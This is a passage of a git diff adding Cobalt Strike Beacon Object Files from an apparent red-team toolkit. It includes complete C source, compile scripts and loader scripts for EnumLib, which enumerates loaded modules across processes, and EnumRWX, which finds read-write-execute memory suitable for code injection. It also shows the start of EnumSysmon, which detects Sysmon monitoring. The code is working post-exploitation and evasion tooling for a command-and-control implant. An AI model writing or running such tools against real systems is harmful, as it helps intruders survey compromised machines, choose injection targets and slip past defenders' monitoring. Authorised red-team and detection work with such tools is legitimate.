+    ULONG NumberOfHandles;
+    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
+ 
+typedef enum _POOL_TYPE {
+    NonPagedPool,
+    PagedPool,
+    NonPagedPoolMustSucceed,
+    DontUseThisType,
+    NonPagedPoolCacheAligned,
+    PagedPoolCacheAligned,
+    NonPagedPoolCacheAlignedMustS
+} POOL_TYPE, *PPOOL_TYPE;
+ 
+typedef struct _OBJECT_TYPE_INFORMATION {
+    UNICODE_STRING Name;
+    ULONG TotalNumberOfObjects;
+    ULONG TotalNumberOfHandles;
+    ULONG TotalPagedPoolUsage;
+    ULONG TotalNonPagedPoolUsage;
+    ULONG TotalNamePoolUsage;
+    ULONG TotalHandleTableUsage;
+    ULONG HighWaterNumberOfObjects;
+    ULONG HighWaterNumberOfHandles;
+    ULONG HighWaterPagedPoolUsage;
+    ULONG HighWaterNonPagedPoolUsage;
+    ULONG HighWaterNamePoolUsage;
+    ULONG HighWaterHandleTableUsage;
+    ULONG InvalidAttributes;
+    GENERIC_MAPPING GenericMapping;
+    ULONG ValidAccess;
+    BOOLEAN SecurityRequired;
+    BOOLEAN MaintainHandleCount;
+    USHORT MaintainTypeList;
+    POOL_TYPE PoolType;
+    ULONG PagedPoolUsage;
+    ULONG NonPagedPoolUsage;
+} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
+

BIN
KIT/EnumHandles/enumhandles.o


+ 16 - 0
KIT/EnumLib/README.md

@@ -0,0 +1,16 @@
+# EnumLib
+Find a specific loaded module in all processes or list all loaded modules in a specific process.
+
+## Options
+* `search`: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).
+* `list`: list all loaded modules in a remote process.
+
+## Usage
+* `enumlib search <module name>`
+* `enumlib list <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumLib/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumLib/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumlib.c
+move /y enumlib.obj enumlib.o
+

+ 197 - 0
KIT/EnumLib/enumlib.c

@@ -0,0 +1,197 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tlhelp32.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include "enumlib.h"
+#include "beacon.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+
+BOOL ListModules(int pid, char *targetModName) {
+    HANDLE hProcess;
+    MEMORY_BASIC_INFORMATION mbi;
+    char * base = NULL;
+	BOOL foundModule = FALSE;
+
+    hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
+	if (hProcess == NULL) return foundModule;
+
+	while (KERNEL32$VirtualQueryEx(hProcess, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
+		char fqModPath[MAX_PATH];
+		char modName[MAX_PATH];
+
+		if(targetModName != NULL) {
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleBaseNameA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) modName, sizeof(modName) / sizeof(TCHAR))) {
+					if(MSVCRT$strcmp(targetModName, modName) == 0) {
+						KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR));
+						internal_printf("\nModulePath:\t%s\nModuleAddr:\t%#llx\n", fqModPath, mbi.AllocationBase);
+						foundModule = TRUE;
+					}
+				}
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+		else {
+			
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR))) {
+					internal_printf("ModulePath [%#llx]: %s\n", mbi.AllocationBase, fqModPath);
+					foundModule = TRUE;
+				}
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+	}
+	KERNEL32$CloseHandle(hProcess);
+	return foundModule;
+}
+
+
+BOOL FindProcess(char *targetModName) {
+	int procID = 0;
+	HANDLE currentProc = NULL;
+	char procPath[MAX_PATH];
+	char procName[MAX_PATH];
+	BOOL foundProc = FALSE;
+	BOOL res = FALSE;
+	
+	// resolve function address
+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	
+	// loop through all processes
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		procID = KERNEL32$GetProcessId(currentProc);
+		
+		if(procID == 4) continue;
+		if (procID == KERNEL32$GetCurrentProcessId()) continue;
+		if (procID != 0) foundProc = ListModules(procID, targetModName);
+		if(foundProc) {
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, procPath, MAX_PATH);
+			MSVCRT$strncpy(procName, SHLWAPI$PathFindFileNameA(procPath), MAX_PATH);
+			internal_printf("ProcName:\t%s\nProcID:\t\t%d\nProcPath:\tC:\%s\n", procName, procID, procPath);
+			res = TRUE;
+		}
+	}
+	return res;
+}
+
+
+int go(char *args, int len) {
+	int pid = 0;
+	BOOL res = NULL;
+	CHAR *option;
+	CHAR *targetModName;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	option = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+	if (MSVCRT$strcmp(option, "list") == 0) {
+		pid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating loaded modules for PID: %d\n\n", pid);
+		internal_printf("[+] FOUND MODULES:\n==============================================================\n"); 
+		res = ListModules(pid, NULL);
+	}
+	else if (MSVCRT$strcmp(option, "search") == 0) {
+		targetModName = BeaconDataExtract(&parser, NULL);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating processes that loaded module: %s\n[!] Can take some time..\n\n", targetModName);
+		internal_printf("[+] FOUND PROCESSES:\n==============================================================\n"); 
+		res = FindProcess(targetModName);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+		return 0;
+	}
+
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No modules found for this search query!\n\n");
+	else {
+		printoutput(TRUE);
+	}
+	return 0;
+}
+
+
+

+ 53 - 0
KIT/EnumLib/enumlib.cna

@@ -0,0 +1,53 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumlib", "Find loaded module(s) in remote process(es)",
+    "INFO:\nFind a specific loaded module in all processes OR list all loaded modules in a specific process.\n\nOPTIONS:\n[search]: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).\n[list]: list all loaded modules in a remote process.\n\n" .
+    "USAGE:\nenumlib search <module name>\nenumlib list <pid>\n\n");
+	
+
+
+alias enumlib {
+    $bid = $1;
+    $option = $2;
+    $target = $3;
+
+    if ($option eq "") {
+        berror($bid, "Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    if ($option eq "search" || $option eq "list") {
+        if ($option eq "search" && $target eq "") {
+            berror($bid, "Please specify a module name to search for\n");
+            return;
+        }
+
+        if ($option eq "list" && $target eq "") {
+            berror($bid, "Please specify the pid of the target process to enumerate\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($option eq "search") {
+       $arg_data  = bof_pack($bid, "zz", $option, $target);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zi", $option, $target);
+    }
+
+    blog($bid, "Tasked to enumerate loaded modules..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 30 - 0
KIT/EnumLib/enumlib.h

@@ -0,0 +1,30 @@
+#include <windows.h>
+
+//ListModules
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleBaseNameA(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);
+
+
+//FindProcess
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+WINBASEAPI char* WINAPI MSVCRT$strncpy(char* dest, const char* src, size_t n);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumLib/enumlib.o


+ 14 - 0
KIT/EnumRWX/README.md

@@ -0,0 +1,14 @@
+# EnumRWX
+Find processes that already have memory allocated for read/write/execute (like most .NET processes).
+
+## Options
+* `<pid>`: specify target process ID to enumerate.
+
+## Usage
+* `enumrwx <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumRWX/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 4 - 0
KIT/EnumRWX/bofcompile.bat

@@ -0,0 +1,4 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumrwx.c
+move /y enumrwx.obj enumrwx.o

+ 137 - 0
KIT/EnumRWX/enumrwx.c

@@ -0,0 +1,137 @@
+#include <windows.h>
+#include <stdio.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "enumrwx.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+BOOL FindRWX(HANDLE hProcess) {
+	BOOL foundRWX = FALSE;
+	LPVOID addr = 0;
+	MEMORY_BASIC_INFORMATION mbi;
+	mbi.BaseAddress = 0;
+	mbi.AllocationBase = 0;
+	mbi.AllocationProtect = 0;
+	mbi.RegionSize = 0;
+	mbi.State = 0;
+	mbi.Protect = 0;
+	mbi.Type = 0;
+	
+	internal_printf("\nMemory address\t\t\tByte size\n");
+	internal_printf("================================================\n");
+	
+	while (KERNEL32$VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
+		addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
+
+		if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
+			internal_printf("%#-30llx\t%#7llu\n", mbi.BaseAddress, mbi.RegionSize);
+			foundRWX = TRUE;
+			
+		}
+	}
+	return foundRWX;
+}
+
+
+void go(char *args, int len) {
+	int pID = 0;
+	datap parser;
+	HANDLE hProcess = NULL;
+	BOOL res = NULL;
+	
+	BeaconDataParse(&parser, args, len);
+	pID = BeaconDataInt(&parser);
+	if(!bofstart()) return;
+	
+	hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
+	if (hProcess == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
+		return -1;		
+	}
+	
+	res = FindRWX(hProcess);
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No READ, WRITE, EXECUTE memory region found in the specified process!");
+	}
+	else {
+		printoutput(TRUE);
+	}
+
+	KERNEL32$CloseHandle(hProcess);
+	return 0;
+}
+
+

+ 30 - 0
KIT/EnumRWX/enumrwx.cna

@@ -0,0 +1,30 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumrwx", "Enumerate RWX memory regions in a target process.",
+    "INFO:\nFind processes that already have memory allocated for read/write/execute (like most .NET processes)\n\nOPTIONS:\n[pid]: target process to enumerate\n\n" .
+    "USAGE:\nenumrwx <pid>\n\n");
+
+alias enumrwx {
+    $bid = $1;
+    $pid = $2;
+
+    if ($pid eq "") {
+        berror($bid, "Please make sure that the PID of the target process is specified.");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumrwx.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+
+    blog($bid, "Tasked to verify if the target process has RWX memory regions..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 16 - 0
KIT/EnumRWX/enumrwx.h

@@ -0,0 +1,16 @@
+#include <windows.h>
+
+//FindRWX
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumRWX/enumrwx.o


+ 15 - 0
KIT/EnumSysmon/README.md

@@ -0,0 +1,15 @@
+# EnumSysmon
+Verify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.
+
+## Options
+* `reg`: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.
+* `driver`: list all the Minifilter drivers on the system and check manually if a minifilter is present that is associated with Sysmon (requires elevated privileges).
+
+## Usage
+* `enumsysmon <reg | driver>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumSysmon/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
